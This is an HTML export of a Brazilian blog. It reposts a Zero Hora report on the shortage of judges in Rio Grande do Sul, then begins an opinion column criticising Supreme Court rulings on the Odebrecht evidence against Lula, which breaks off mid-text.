tag:blogger.com,1999:blog-6691206188141232302024-03-05T06:34:03.968-03:00MAZELAS DO JUDICIARIOO dia em que a Justiça Brasileira se tornar sistêmica, independente, ágil e coativa, e com Tribunais fortes e juízes próximos do cidadão e dos delitos, o Brasil terá justiça, segurança e paz social.<br>"A Função Precípua da Justiça é a aplicação coativa da Lei aos litigantes" (Hely Lopes Meirelles)- "A Autoridade da Justiça é moral e sustenta-se pela moralidade de suas decisões" (Rui Barbosa)Unknownnoreply@blogger.comBlogger3044125tag:blogger.com,1999:blog-669120618814123230.post-22601798954268869782022-02-28T07:24:00.006-03:002022-02-28T07:27:27.154-03:00FALTA DE JUÍZES<div class="article-body l-container" style="box-sizing: border-box; font-family: "Roboto Slab", serif; font-variant-ligatures: none; margin: auto; padding: 0px; width: 1200px;"><div class="l-row is-out-pad-edge" style="box-sizing: border-box; margin: 0px; padding: 0px;"><div class="l-col-md-10 l-col-md-offset-1 author-container" style="border-top: 1px solid rgb(204, 204, 204); box-sizing: border-box; display: flex; float: left; justify-content: left; margin: 0px 0px 0px 75px; min-height: 1px; padding: 20px 0px; position: relative; width: 750px;"><div class="m-author-box" style="align-items: center; display: flex; margin: 0px 30px 0px 0px; padding: 0px;"><div class="author-name-shares-wrapper" style="margin: 0px; padding: 0px;"><p class="author-name" itemprop="author" style="font-family: Roboto, sans-serif; font-weight: 900; line-height: 14px; margin: 0px 0px 5px; padding: 0px; text-align: left; text-transform: uppercase;">zero hora 28-02-2022</p><p class="author-name" itemprop="author" style="font-family: Roboto, sans-serif; font-weight: 900; line-height: 14px; margin: 0px 0px 5px; padding: 0px; text-align: left; text-transform: uppercase;"><br /></p><p class="author-name" itemprop="author" style="font-family: Roboto, sans-serif; font-weight: 900; line-height: 14px; margin: 0px 0px 5px; padding: 0px; text-align: left; text-transform: uppercase;"><br /></p><p class="author-name" itemprop="author" style="font-family: Roboto, sans-serif; font-weight: 900; line-height: 14px; margin: 0px 0px 5px; padding: 0px; text-align: left; text-transform: uppercase;">FÁBIO SCHAFFNER<span class="author-complement" color="inherit" style="font-weight: 400; margin: 0px; padding: 0px; text-transform: none;"></span></p><ul class="author-shares" style="color: #7f7f7f; display: flex; font-family: Roboto, sans-serif; justify-content: left; margin: 0px; padding: 0px; text-decoration-line: underline;"><li style="list-style: none; margin: 0px 5px 0px 0px; padding: 0px; text-align: left;"><br /></li></ul></div></div></div></div><div class="l-row is-out-pad-edge" style="box-sizing: border-box; margin: 0px; padding: 0px;"><div class="article-main l-col-md-10 l-col-md-offset-1" style="box-sizing: border-box; float: left; margin: 0px 0px 0px 75px; min-height: 1px; padding: 0px 25px 0px 0px; position: relative; width: 750px;"><div class="m-paid-content" style="animation: 0.3s linear 0s 1 normal none running show; margin: 0px; padding: 0px;"><div style="box-sizing: border-box; margin: 0px; padding: 0px;"><div class="ads-video-intext" style="box-sizing: border-box; margin: 0px; padding: 0px;"></div><div class="article-content sa_incontent" itemprop="articleBody" style="box-sizing: border-box; font-family: Merriweather, serif; margin: 0px; padding: 0px 0px 35px;"><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 0px auto; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">Faltam juízes em quase metade das <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/judiciario/" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">comarcas do Rio Grande do Sul</span></a>. Dos 165 municípios gaúchos dotados de foro para receber as demandas judiciais de sua região, há vagas para magistrados em 79 (47,8%). No total, são 235 cargos de juiz de primeiro grau desprovidos em todo o Estado — uma carência de 27% na força de trabalho da categoria. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">O <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/tribunal-de-justica/" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Tribunal de Justiça do Estado (TJRS)</span></a> assegura que nenhum cidadão fica sem atendimento, mas reconhece que o déficit de pessoal acaba gerando morosidade no andamento dos 5,5 milhões de processos. Em geral, os postos vagos acabam cobertos por outros juízes da mesma comarca. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">Todavia, em 32 fóruns espalhados pelo Estado, não há nenhum juiz titular. Em oito deles, há duas vagas, ambas desocupadas. Na maioria dos casos, o substituto atua numa cidade próxima e uma vez por semana viaja para atender a comarca vizinha. Ao todo, atualmente, no Rio Grande do Sul, um contingente populacional de 850 mil pessoas, distribuídas em 74 municípios, depende da visita semanal de uma autoridade judicial. Em 19 de janeiro, as principais lideranças da sociedade de <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/cacapava-do-sul/" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Caçapava do Sul</span></a> se reuniram num evento para inaugurar o novo fórum local. Houve discurso do então presidente do TJRS, <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/voltaire-de-lima-moraes/" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Voltaire de Lima Moraes</span></a>, do prefeito Giovani Amestoy e de outras autoridades. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">Ao final da solenidade, restou um prédio moderno, sede de duas varas, mas sem um único juiz titular para despachar os mais de 15 mil processos em tramitação. O diretor do foro, Diego Carvalho Locatelli, é titular da comarca de Dom Pedrito, a 208 quilômetros de distância, e só atende em Caçapava às quintas-feiras. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">— A gente lutou tanto para conseguir a segunda vara e agora não tem juiz em nenhuma das duas. O doutor Diego é incrível, atende sempre que pode, mas as urgências acabam tomando a frente, principalmente dos processos cíveis. É complicado porque em cada ação está guardada a vida das pessoas — desabafa a advogada Cristiane Lorenzen. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">A situação é semelhante em <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/herval/" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Herval</span></a>, no <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/sul-do-rs/" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">sul do Estado</span></a>. Sem juiz titular há seis anos, a comarca ainda enfrenta escassez de pessoal. Atualmente, há apenas quatro servidores, dois deles, estagiários. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">— Os advogados fazem até procedimentos cartoriais, como furar as páginas dos processos. A gente entende a dificuldade, mas o sentimento é de que tudo poderia funcionar melhor — afirma o advogado Jaisel Rodrigues de Freitas. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">Para a juíza Vanessa Antunes Ferreira, titular em <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/arroio-grande/" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Arroio Grande</span></a> e substituta em Herval, o acúmulo de funções acaba tomando tempo que poderia ser direcionado aos processos. Toda semana, ela dedica dois dias à comarca vizinha, um para sanar questões administrativas e outro para as audiências. Por vezes, em função das férias de colegas, ela chega a responder também pela . </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">— Aqui na fronteira tem muita transferência, então chego a acumular as três comarcas. Mas me orgulho de dizer que estou totalmente em dia com meus processos. O complicador maior é a falta de servidores, pois junta muita coisa a ser feita e acaba sobrecarregando todo mundo — conta Vanessa. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">A maior comarca do Estado a funcionar desprovida de juízes titulares é <a href="http://gauchazh.clicrbs.com.br/ultimas-noticias/tag/parobe" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Parobé</span></a>, município de 58 mil habitantes situado no <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/vale-do-paranhana/" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Vale do Paranhana</span></a>. Segundo o presidente da subseção gaúcha da Ordem dos Advogados do Brasil (<a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/oab/" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">OAB</span></a>), Gustavo Amoretti, um processo de usucapião em que atua tramita há 20 anos, sem conclusão. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">— Já sou o segundo advogado da causa e não anda. Meu cliente tem 70 anos de idade. Tenho medo que aconteça alguma coisa com ele e o processo siga sem fim. Aqui do lado, em <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/sao-francisco-de-paula/" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">São Francisco de Paula</span></a>, por exemplo, tem um juiz só, titular, e ele chega a dar duas decisões no mês no mesmo processo. Eu tenho ações aqui em Parobé que ficam um ano sem decisão nenhuma — afirma Amoretti. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">Das 235 vagas desprovidas no Estado, 110 são de juiz substituto, cujo trabalho é justamente assumir lacunas da magistratura. Outras 123 ficam em unidades jurisdicionais específicas e os dois postos restantes são de juiz-corregedor, cujo provimento depende de decisão do corregedor-geral da Justiça.</p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><h3 style="box-sizing: border-box; font-family: "Roboto Slab", serif; line-height: 32px; margin: 0px; padding: 0px; text-align: left; width: auto;"><span style="font-size: small;">“Nenhuma comarca fica sem juiz” </span></h3></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px;"></p><div style="text-align: left;"><span style="font-weight: 700;">Entrevista: Geneci Ribeiro de Campos, juíza-corregedora e vice-coordenadora da Corregedoria-Geral de Justiça</span></div><em style="box-sizing: border-box; margin: 0px; padding: 0px;"><div style="text-align: left;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">Além de fiscalizar a atuação da magistratura, a Corregedoria-Geral de Justiça trabalha em ações para aprimorar a eficiência dos serviços judiciários. Vice-coordenadora do órgão, Geneci Campos reconhece as dificuldades causadas pela carência de pessoal, mas ressalta que nenhuma unidade fica sem juiz.</em></div></em><p></p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px;"></p><div style="text-align: left;"><span style="font-weight: 700;">Por que faltam tantos juízes no Estado?</span></div><div style="text-align: left;">Nós temos somente um critério de ingresso na magistratura, que é o concurso público. Não há outra forma de nomear juízes. Os nossos concursos são muito concorridos e possuem um funil bastante apertado. O Judiciário está preocupado com essa defasagem e está com dois concursos em andamento, um deles em fase mais adiantada. Tivemos um atraso por conta da <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/coronavirus/" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">pandemia</span></a>. É um concurso que reúne um volume muito grande de participantes e não tinha como aglomerar as pessoas em sala de aula. </div><p></p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px;"></p><div style="text-align: left;"><span style="font-weight: 700;">A população dessas comarcas não fica desassistida?</span></div><div style="text-align: left;">Não. É importante frisar que nenhuma comarca fica sem juiz. Há juízes substitutos atuando em todas as cidades onde não há juiz titular. Claro que ele tem a capacidade diminuída, pois em geral acumula duas unidades e dá prioridade às urgências. Mas ele comparece à comarca e vai atender a todas as demandas, pois todas são necessárias. Se não fossem, não haveria um processo. Onde as demandas são maiores, a nossa preocupação é prover primeiro. </div><p></p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px;"></p><div style="text-align: left;"><span style="font-weight: 700;">A escassez de juízes causa morosidade?</span></div><div style="text-align: left;">O Judiciário tem procurado alternativas para otimizar o trabalho. Tem toda uma modernização das estruturas sendo implementada visando diminuir essa questão temporal. O processo eletrônico é muito importante nesse sentido.</div><p></p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><h3 style="box-sizing: border-box; font-family: "Roboto Slab", serif; line-height: 32px; margin: 0px; padding: 0px; text-align: left; width: auto;"><span style="font-size: small;">“A prestação jurisdicional é insuficiente” </span></h3></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px;"></p><div style="text-align: left;"><span style="font-weight: 700;">Entrevista: Leonardo Lamachia, presidente da seccional gaúcha da OAB</span></div><em style="box-sizing: border-box; margin: 0px; padding: 0px;"><div style="text-align: left;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">À frente da principal entidade de defesa da advocacia no Estado, Leonardo Lamachia afirma que a maior reclamação da classe é pela falta de juízes. Empossado no início de janeiro, o novo presidente da OAB-RS tem percorrido o Interior e constatado os efeitos da sobrecarga de trabalho nas comarcas. </em></div></em><p></p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px;"></p><div style="text-align: left;"><span style="font-weight: 700;">Quais os efeitos da falta de juízes?</span></div><div style="text-align: left;">A situação é muito grave. A Ordem vê esse cenário com muita preocupação. Não faltam só magistrados. Dezenas de subseções têm relatado carência de servidores. Não boto a culpa apenas no Judiciário. Tivemos a pandemia, o <a href="https://gauchazh.clicrbs.com.br/geral/noticia/2021/04/tribunal-de-justica-do-rs-sofre-ataque-cibernetico-e-prazos-processuais-sao-suspensos-cko1n09b6003p016um2nwagdr.html" style="box-sizing: border-box; color: #d15239; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">ataque hacker</span></a>. Mas é ele quem administra, e nós temos, hoje, uma prestação jurisdicional insuficiente na Justiça Estadual. Batemos todos os recordes de reclamações por morosidade. Há muito que a advocacia diz isso, mas chegamos agora em grau muito complexo.</div><p></p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px;"></p><div style="text-align: left;"><span style="font-weight: 700;">Como agilizar os trabalhos?</span></div><div style="text-align: left;">Podem começar ampliando o horário de funcionamento do Judiciário. Lá no passado, nós havíamos conquistado o expediente de manhã e de tarde. Os fóruns abriam às 9h e fechavam às 19h. A pandemia mudou tudo e, quando voltou serviço presencial, ficou das 12h às 19h. Perdemos três horas. Já oficiei o tribunal pedindo retorno do horário integral </div><p></p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px;"></p><div style="text-align: left;"><span style="font-weight: 700;">A tecnologia não facilita o trabalho?</span></div><div style="text-align: left;">Facilita muito, mas cerca de 50% dos processos ainda são físicos e ficaram parados por quase um ano, sem movimentação. As audiências virtuais também ajudam, mas devem ser opção, e não regra. Se for uma tentativa de acordo, tudo bem. Mas uma coleta de provas fica prejudicada sem a presença do juiz, não há a imponência da autoridade e há riscos à inviolabilidade da testemunha.</div><p></p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><h3 style="box-sizing: border-box; font-family: "Roboto Slab", serif; line-height: 32px; margin: 0px; padding: 0px; text-align: left; width: auto;"><span style="font-size: small;">Carreira atrativa, mas de difícil acesso </span></h3></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">Com salário inicial de R$ 25.851,96, um juiz de primeira instância precisa percorrer um árduo caminho para ingressar na profissão. No último concurso realizado pelo TJRS, havia 13.297 inscritos. Destes, apenas 686 passaram para a segunda etapa. Concluídas as fases eliminatórias, 20 meses após a primeira prova, apenas 26 candidatos foram nomeados e tomaram posse como juiz. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">Dos dois concursos em andamento hoje no Estado, um está na penúltima fase, com os classificados se inscrevendo para a fase oral. O mais recente, lançado em 2019, teve a primeira prova realizada em janeiro. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; line-height: 32px; margin: 0px; padding: 0px; text-align: left;">A aprovação em concurso e posterior nomeação, contudo, não significa imediata transferência do juiz para uma vara ou comarca. Durante quatro meses, os novos magistrados participam de um treinamento intensivo no TJRS, aprendendo pormenores do cotidiano jurisdicional. Historicamente, essa reposição não é suficiente para preencher as vagas abertas por aposentadoria ou pedido de exoneração dos juízes de carreira. </p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><h3 style="box-sizing: border-box; font-family: "Roboto Slab", serif; line-height: 32px; margin: 0px; padding: 0px; text-align: left; width: auto;"><span style="font-size: small;">Como é o concurso para ser juiz </span></h3></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running show; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><ul style="box-sizing: border-box; margin: 0px; padding: 0px;"><li class="unordered-list-item" style="box-sizing: border-box; line-height: 2; list-style: disc; margin: 0px 0px 0px 40px; padding: 0px 0px 0px 10px; text-align: left;">1ª etapa: uma prova objetiva seletiva, de caráter eliminatório e classificatório</li><li class="unordered-list-item" style="box-sizing: border-box; line-height: 2; list-style: disc; margin: 0px 0px 0px 40px; padding: 0px 0px 0px 10px; text-align: left;">2ª etapa: duas provas escritas, de caráter eliminatório e classificatório</li><li class="unordered-list-item" style="box-sizing: border-box; line-height: 2; list-style: disc; margin: 0px 0px 0px 40px; padding: 0px 0px 0px 10px; text-align: left;">3ª etapa: sindicância da vida pregressa e investigação social, exame de sanidade física e mental e exame psicotécnico, tudo com caráter eliminatório</li><li class="unordered-list-item" style="box-sizing: border-box; line-height: 2; list-style: disc; margin: 0px 0px 0px 40px; padding: 0px 0px 0px 10px; text-align: left;">4ª etapa: uma prova oral, de caráter eliminatório e classificatório</li><li class="unordered-list-item" style="box-sizing: border-box; line-height: 2; list-style: disc; margin: 0px 0px 0px 40px; padding: 0px 0px 0px 10px; text-align: left;">5ª etapa: avaliação de títulos, de caráter classificatório. </li></ul></div></div></div></div></div></div></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-32283772754680231172021-07-03T09:31:00.003-03:002021-07-03T09:31:17.470-03:00RETRATOS DA INJUSTIÇA<p><br /></p><p><span style="background-color: white; color: #050505; font-family: "Segoe UI Historic", "Segoe UI", Helvetica, Arial, sans-serif; font-size: 18.75px; white-space: pre-wrap;">GZH 02-07-2021</span></p><p><span style="font-family: Roboto, sans-serif; font-size: 12px; font-variant-ligatures: none; font-weight: 900; text-align: center; text-transform: uppercase;">J.R. GUZZO - </span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">A empreiteira de obras públicas</span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/odebrecht/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Odebrecht</span></a><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">– a empresa que revelou ao mundo o “amigo do amigo do meu pai” – assinou um notável acordo com a justiça brasileira, através do qual confessa a prática de crimes de corrupção durante o governo</span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/lula/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Lula</span></a><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">, promete devolver ao erário público uma parte do que roubou e, em troca desse seu misto de colaboração-delação-confissão, recebe do Estado um tratamento mais suave na punição dos seus delitos.</span></p><p><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">Ninguém forçou a Odebrecht a fazer nada. Foi o seu próprio presidente, com a assistência plena de toda uma equipe milionária de advogados, quem concordou em fazer “delação premiada” a respeito dos crimes cometidos na esfera de atuação da empresa – especialmente na ladroagem monumental da</span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/petrobras/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Petrobras</span></a><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">lulista. Também foi a construtora, por sua livre e espontânea vontade, que devolveu R$ 8,6 bilhões aos cofres públicos. Em função do acordo, o presidente</span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><a href="https://gauchazh.clicrbs.com.br/politica/noticia/2017/12/marcelo-odebrecht-da-cadeia-a-prisao-domiciliar-cjbb77f6n013s01p9ts6amgiv.html" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Marcelo Odebrecht foi solto da cadeia em dezembro de 2017</span></a><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">, após dois anos e meio de xadrez em Curitiba.</span></p><p><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">Qual é a dúvida em relação a isso tudo? Existe no mundo alguém que aceita devolver dinheiro se não roubou nada? Há alguém que invente crimes para delatar a si mesmo? Não há nada de errado com nenhuma dessas coisas. Ao contrário, trata-se de um momento histórico: foi feita justiça neste Brasil onde sempre reinou, durante séculos, a impunidade para os ricos e poderosos.</span></p><p><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">Não, não há mesmo nada de errado – salvo para o ministro</span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/ricardo-lewandowski/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Ricardo Lewandowski</span></a><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">, do Supremo Tribunal Federal (</span><a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/stf/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">STF</span></a><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">). Em compensação, para ele, está tudo absolutamente errado. O ministro acha que esse exemplo de justiça é tão ruim, mas tão ruim, que tem de ser anulado da primeira à última letra. Isso mesmo: nada do que Odebrecht confessou, delatou e pagou vale mais coisíssima nenhuma. Só está faltando dizer, agora, que o pagador de impostos tem de devolver à empresa os bilhões que ela pagou para fechar o seu acordo.</span></p><p><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">Lewandovski quer, acima de qualquer outra coisa na vida, eliminar até o último fiapo qualquer culpa que existe contra Lula – condenado, como se sabe, pelos crimes de corrupção e lavagem de dinheiro. Atuando em conjunto, e em perfeita harmonia, com os ministros</span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/gilmar-mendes/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Gilmar Mendes</span></a><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">e</span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/edson-fachin/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Edson Fachin</span></a><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">, ele atua como se operasse na equipe de advogados que trabalham em tempo integral para Lula.</span></p><p><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">Lewandovski, Gilmar, Fachin e os demais decidiram não apenas</span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><a href="https://gauchazh.clicrbs.com.br/politica/noticia/2021/06/lewandowski-anula-provas-contra-lula-obtidas-em-acordos-de-leniencia-da-odebrecht-ckqh5scxg003601gtvg0linmz.html" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">anular todas as ações penais contra Lula</span></a><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">, mas apontar como único culpado por tudo o juiz</span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/sergio-moro/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none; margin: 0px; padding: 